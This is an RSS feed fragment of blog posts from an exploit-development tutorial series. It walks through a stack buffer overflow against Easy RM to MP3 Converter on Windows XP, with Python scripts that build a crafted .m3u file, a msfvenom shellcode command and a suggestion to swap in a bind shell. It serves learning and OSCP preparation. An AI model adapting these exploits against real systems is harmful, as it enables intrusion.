&lt;p&gt;Now, let’s generate some shellcode! I’m going to generate shellcode that will open the Calculator application (calc.exe) in Windows XP, just as a test. If this works, we can put a bind shell one in. For this, we will be using Metasploit.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msfvenom -a x86 --platform windows -p windows/exec CMD=&quot;calc&quot; --encoder x86/alpha_upper -f py&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The ‘–encoder’ flag selects an encoder, in our case it’s x86/alpha_upper. The ‘-f’ flag tells it to print the payload for a python file. Now, let’s add some NOPS (No operations, 90) and paste this in our code and watch the magic!&lt;/p&gt;

&lt;p&gt;Your final code should look something like this:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;os&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;sys&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;lol.m3u&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;w+&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;junk1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;A&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;25000&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1075&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;eip&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x3A\xF2\xD2\x01&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;preesp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;XXXX&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;nops&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x90&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;25&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\xd9\xe9\xd9\x74\x24\xf4\xbb\xcb\x65\x09\xdf&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;\ #..... and so on
buf3 = &quot;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;C&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;*(30000 - len(junk1 + eip + preesp + nops + buf))
string = junk1 + eip + preesp + nops + buf + buf3
print(len(string))
f.write(string)
f.close()
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2019-07-08-Reverse-Engineering-and-Exploit-Dev-Chapter-2/image6.png&quot; alt=&quot;image6&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Congratulations on your first successful exploit! Now, I want you to try and replace the calculator shellcode with a windows bind shell shellcode and get a shell. In the next chapter, we will cover more ways in which we can execute our shellcode. We will see the other instructions that can replace our JMP ESP instruction.&lt;/p&gt;

</description>
            <pubDate>Mon, 08 Jul 2019 00:00:00 +0000</pubDate>
        </item>
        
        <item>
            <title>Reverse Engineering and Exploit Development Made Easy - Chapter 1</title>
            <link>/exploit/dev/2019/07/01/Reverse-Engineering-and-Exploit-Dev-Chapter-1.html</link>
            <guid isPermaLink="true">/exploit/dev/2019/07/01/Reverse-Engineering-and-Exploit-Dev-Chapter-1.html</guid>
            <description>&lt;h4 id=&quot;reverse-engineering-and-exploit-development-made-easy---chapter-1&quot;&gt;Reverse Engineering and Exploit Development Made Easy - Chapter 1&lt;/h4&gt;

&lt;h5 id=&quot;stack-control&quot;&gt;Stack Control&lt;/h5&gt;

&lt;p&gt;&lt;strong&gt;:&lt;/strong&gt;&lt;strong&gt;~&lt;/strong&gt;&lt;strong&gt;# whoami&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;So before we get to the fun stuff, I would like to take some time to introduce myself.&lt;/p&gt;

&lt;p&gt;I’m 4p0cryph0n, your run-of-the-mill cyber security junkie! Cyber security has played a huge role in my life and who I am as a person, as I’ve been doing it since I was in my early teens.&lt;/p&gt;

&lt;p&gt;I’ve always looked forward to learning new techniques to boost my repertoire, and even like sharing some knowlege. Before we begin with the introduction, I would also like to thank all the admins and the NetSec Focus team as a whole, for providing us with a really amazing platform where we can share knowledge with eachother, and grow as a cyber security community. Kudos guys!&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;:&lt;/strong&gt;&lt;strong&gt;~&lt;/strong&gt;&lt;strong&gt;#&lt;/strong&gt; &lt;strong&gt;uname&lt;/strong&gt; &lt;strong&gt;-a&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The objective of this series is to make Reverse Engineering and Exploit Development easy to understand. I mean, who would’nt want to be a l33t hackerman right?! We will select multiple learning resources, methods, and knowledge bases (like corelan.be, fuzzysecurity etc) to make sure that you guys, and me of course, grasp on to every single concept and learn something new with every completed chapter.&lt;/p&gt;

&lt;p&gt;Since the motto has always been ‘Try Harder’, things will get hard here, but I assure you that it will be all worth it in the end. But don’t feel left out here, I’ll be learning with you guys!&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;:&lt;/strong&gt;&lt;strong&gt;~&lt;/strong&gt;&lt;strong&gt;#&lt;/strong&gt; &lt;strong&gt;configure&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;So, first steps bois. We will go over the resources in chronological order, so feel free to do some pre-reading and research before you go over this post. A few extra hours will only sharpen your skills!&lt;/p&gt;

&lt;p&gt;We will start with the most basic type of exploit dev in the first chapter ie. Stack Buffer Overflows. Also, keep in mind that my ways can be slightly different from the ones used in the resources, so is to demonstrate that each technique can be executed in n number of ways. Creativity is your best friend here!&lt;/p&gt;

&lt;p&gt;Journey from Noob to Pro&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Chapter 1: Stack Based Overflows&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;:&lt;/strong&gt;&lt;strong&gt;~&lt;/strong&gt;&lt;strong&gt;# ./CoolStuff&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Hey guys, welcome to chapter 1! The resource that we will be using is corelan.be, a really valuable resource for exploit development knowledge. Just a little overview before we begin, the idea here is to overflow the EIP pointer to point to a specific location in the stack. This location will have our desired payload.&lt;/p&gt;

&lt;p&gt;If you’re still very new to how things work in memory, I will recommend that you read the explanation given on corelan.be exploit tutorial 1. It will explain the fundamentals of the stack, and most pointers that concern us for now.&lt;/p&gt;

&lt;p&gt;With that being said, let us dive right in!&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;:&lt;/strong&gt;&lt;strong&gt;~&lt;/strong&gt;&lt;strong&gt;# ./Setup&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Okay, we will need two machines to replicate this scenario: a victim, and an attacker machine. This first lesson will focus on exploiting a binary that is made for Windows XP. I will be using SP3 on my VM. Also, note that we will be using 32 bit to learn the basics of reverse engineering. My attacker machine is Linux. I will recommend Kali because it has Metasploit and many other tools pre-installed.&lt;/p&gt;

&lt;p&gt;The binary that we will be exploiting is Easy RM To MP3 converter, specifically version 2.7.3.700. You can download this particular one from &lt;a href=&quot;https://www.exploit-db.com/apps/707414955696c57b71c7f160c720bed5-EasyRMtoMP3Converter.exe&quot;&gt;t&lt;/a&gt;he corelan.be site on the post Exploit Tutorial Part 1, all you’ll have to is make an account.&lt;/p&gt;

&lt;p&gt;The debugger that I’ll be using is Immunity Debugger. You can use WinDbg or OllyDbg as well.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;:&lt;/strong&gt;&lt;strong&gt;~&lt;/strong&gt;&lt;strong&gt;# ./BufOverflow&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The Corelan developers have used Perl as their choice of language but I’ll be using Python, as I’m more comfortable with it.&lt;/p&gt;

&lt;p&gt;So, let’s start off by analysing the UI of this application:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/4p0cryph0n/chapter1/image1.png&quot; alt=&quot;Easy RM&quot; /&gt;&lt;/p&gt;

&lt;p&gt;From my research on this application, it converts .m3u files to .mp3. Only problem? This application puts data directly onto the stack. If we overflow/crash it just right, we will be able to manipulate the stack and its pointers to our liking.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;One thing to note: You will NOT find such vulnerabilities in this day and age, as this was a vulnerability from the early 2000s. Things like stack protection, ASLR and DEP, and other ways to counter this vulnerability have already been introduced. But this exploit will help us in understanding the fundamentals of Exploit Development and Reverse Engineering. So, don’t take this lightly!&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Let’s do a quick test. I wrote some code to write 20000 As to an m3u file. This is a completely random number. Let’s run this code!&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;os&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;sys&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;lol.m3u&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;w+&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;trash&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;A&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;20000&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;trash&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;close&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/4p0cryph0n/chapter1/image2.png&quot; alt=&quot;lol.m3u&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now let’s transfer this .m3u to the victim machine and load the file. I’m using the drag and drop feature in Virtualbox but you can alternatively used the shared folders feature.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/4p0cryph0n/chapter1/image3.png&quot; alt=&quot;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Okay, we haven’t crashed the application yet, and the program has handled our exception successfully. Let’s reopen our application and try with 30000 As.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/4p0cryph0n/chapter1/image4.png&quot; alt=&quot;Crashed&quot; /&gt;&lt;/p&gt;

&lt;p&gt;And it’s crashed. So, we know how to crash it now, but what good does that do? We need to crash it in our desired way. Think of it like orchestrated chaos ;)&lt;/p&gt;

&lt;p&gt;Now let’s fire the debugger up and see what’s under the hood. Click on File &amp;gt; Open and select the app. Then, click on the play button and load your file like normal.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/4p0cryph0n/chapter1/image5.png&quot; alt=&quot;Debugger registers&quot; /&gt;&lt;/p&gt;

&lt;p&gt;A quick look at the registers shows us that EIP has the value of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;41414141&lt;/code&gt; (AAAA).&lt;/p&gt;

&lt;p&gt;EIP is an instruction pointer, holds the address of the next instruction that must be executed. As &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;41414141&lt;/code&gt; is not a valid address for an instruction, you will see a text that says Access violation when executing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[41414141]&lt;/code&gt; at the bottom.&lt;/p&gt;

&lt;p&gt;Also, we can see that we have also filled the register ESP with our As. ESP is a stack pointer that points to the top of the stack. It holds data.&lt;/p&gt;

&lt;p&gt;Shift your vision to the stack window as well, this will also tell us the ESP and EIP are filled with our As. The value that is currently highlighted shows the data in ESP.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/4p0cryph0n/chapter1/image6.png&quot; alt=&quot;Stack Window&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now, we need to find something called an offset. This is the number of bytes we need to overflow the stack by, to reach a specific location. Think of it like filling a beaker with a solution. You need to reach the 150 cm&lt;sup&gt;3&lt;/sup&gt; mark, so you will only fill until you reach that mark.&lt;/p&gt;

&lt;p&gt;We need to find the offset for EIP, so that at the end of this, we can write our desired instruction to EIP. Our final structure should look like this: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AAAAAAAAAAAAAAA....BBBBCCCCCCCCCCCCCC......&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The As will be filled until we reach EIP, EIP will hold four Bs for us, and then to balance everything out, the rest needed to cause a crash will be a bunch of Cs. This technique is refered to as gaining EIP control.&lt;/p&gt;

&lt;p&gt;So to make this process easier, I’ll further divide our 30000 As into 25000 As and 5000 Bs. This will help us understand wether we reach EIP within our As or our Bs.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;os&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;sys&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;lol.m3u&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;w+&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;trash&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;A&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;25000&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;trash&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;B&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5000&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;trash&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;trash2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;close&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now, let’s generate the file and load it within the debugger.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/4p0cryph0n/chapter1/image7.png&quot; alt=&quot;AB Buffer Registers&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Okay great, as EIP has the value of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;42424242&lt;/code&gt; (BBBB), it tells us that somewhere in our 5000 Bs EIP has already been reached.&lt;/p&gt;

&lt;p&gt;To determine the exact position of EIP, we will use a pattern. Think of it like&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;A123B123C123D123&lt;/code&gt;. This is a pattern right? So if EIP contains &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;C123&lt;/code&gt; for example, I’ll instantly know that it takes 8 bytes to reach EIP, and the rest after that can be junk.&lt;/p&gt;

&lt;p&gt;Your kali box comes with two very important tools for this: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pattern_create.rb&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pattern_offset.rb&lt;/code&gt;. So let’s generate a unique pattern of length 5000 and use that in our script.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/usr/share/metasploit-framework/tools/pattern_create.rb -l 5000&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/4p0cryph0n/chapter1/image8.png&quot; alt=&quot;Pattern generator trash&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Let’s generate the file with metasploit and load it within the debugger.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/4p0cryph0n/chapter1/image9.png&quot; alt=&quot;Debugger&quot; /&gt;&lt;/p&gt;

&lt;p&gt;As I said before, the one that is highlighted in green is the value stored in ESP. If you go one address up in the stack window, you will see what’s stored in EIP. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;J8bj&lt;/code&gt; in my case. Now, let’s find out how many bytes did it take to reach EIP using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pattern_offset.rb&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/usr/share/metasploit-framework/tools/pattern_offset.rb -q j8bj&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;I get the offset as 1075. So now, my final structure will look something like this:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;A&quot;*(25000+1075) + &quot;BBBB&quot; + &quot;C&quot;*(30000-((25000+1075) + 4)&lt;/code&gt;&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;os&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;sys&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;lol.m3u&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;w+&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;junk1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;A&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;25000&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1075&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;eip&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;BBBB&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;junk2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;C&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;30000&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;junk1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;eip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)))&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;crash&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;junk1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;eip&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;junk2&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;crash&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;close&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now, let’s see if our Math game is strong ;)&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/4p0cryph0n/chapter1/image10.png&quot; alt=&quot;EIP Control&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Yess! We now have control of the EIP which determines the next instructions to be executed. If you made it this far give yourself a pat on the back! In the next chapter we’ll be generating and placing shellcode then with our control over EIP executing our payload.&lt;/p&gt;
</description>
            <pubDate>Mon, 01 Jul 2019 00:00:00 +0000</pubDate>
        </item>
        
        <item>
            <title>The Journey to Try Harder: TJnull’s Preparation Guide for PWK/OSCP</title>
            <link>/oscp/2019/03/29/The_Journey_to_Try_Harder-_TJNulls_Preparation_Guide_for_PWK_OSCP.html</link>
            <guid isPermaLink="true">/oscp/2019/03/29/The_Journey_to_Try_Harder-_TJNulls_Preparation_Guide_for_PWK_OSCP.html</guid>
            <description>&lt;h3 id=&quot;table-of-contents&quot;&gt;Table of Contents:&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;#overview&quot;&gt;Overview&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#dedication&quot;&gt;Dedication&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#a-word-of-warning&quot;&gt;A Word of Warning!&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#section-1-getting-comfortable-with-kali-linux&quot;&gt;Section 1: Getting Comfortable with Kali Linux&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#section-2-essential-tools-in-kali&quot;&gt;Section 2: Essential Tools in Kali&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#section-3-passive-reconnaissance&quot;&gt;Section 3: Passive Reconnaissance&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#section-4-active-reconnaissance&quot;&gt;Section 4: Active Reconnaissance&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#section-5-vulnerability-scanning&quot;&gt;Section 5: Vulnerability Scanning&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#section-6-buffer-overflows&quot;&gt;Section 6: Buffer Overflows&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#section-7-handling-public-exploits&quot;&gt;Section 7: Handling Public Exploits&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#section-8-transferring-files-to-your-target&quot;&gt;Section 8: Transferring Files to your target&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#section-9-privilege-escalation&quot;&gt;Section 9: Privilege Escalation&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#section-10-client-side-attacks&quot;&gt;Section 10: Client-Side Attacks&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#section-11-web-application-attacks&quot;&gt;Section 11: Web Application Attacks&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#section-12-password-cracking&quot;&gt;Section 12: Password Cracking&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#section-13-port-redirection-and-pivoting&quot;&gt;Section 13: Port Redirection and Pivoting&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#section-14-metasploit-framework&quot;&gt;Section 14: Metasploit Framework&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#section-15-antivirus-bypassing&quot;&gt;Section 15: Antivirus Bypassing&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#extra-resources&quot;&gt;Extra Resources&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#setting-up-your-pentesting-environment&quot;&gt;Setting up your Pentesting Environment&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#wargameshands-on-challenges&quot;&gt;Wargames/Hands-on Challenges&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#capture-the-flag-competitions-ctfscyber-competitions&quot;&gt;Capture the Flag Competitions (CTFs)/Cyber Competitions&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#bug-bounty-programs&quot;&gt;Bug Bounty Programs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#vulnerable-machines&quot;&gt;Vulnerable Machines&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#tips-to-participate-in-the-proctored-oscp-exam&quot;&gt;Tips to participate in the Proctored OSCP exam&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#other-resources&quot;&gt;Other Resources&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#conclusion&quot;&gt;Conclusion&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;overview&quot;&gt;Overview:&lt;/h1&gt;
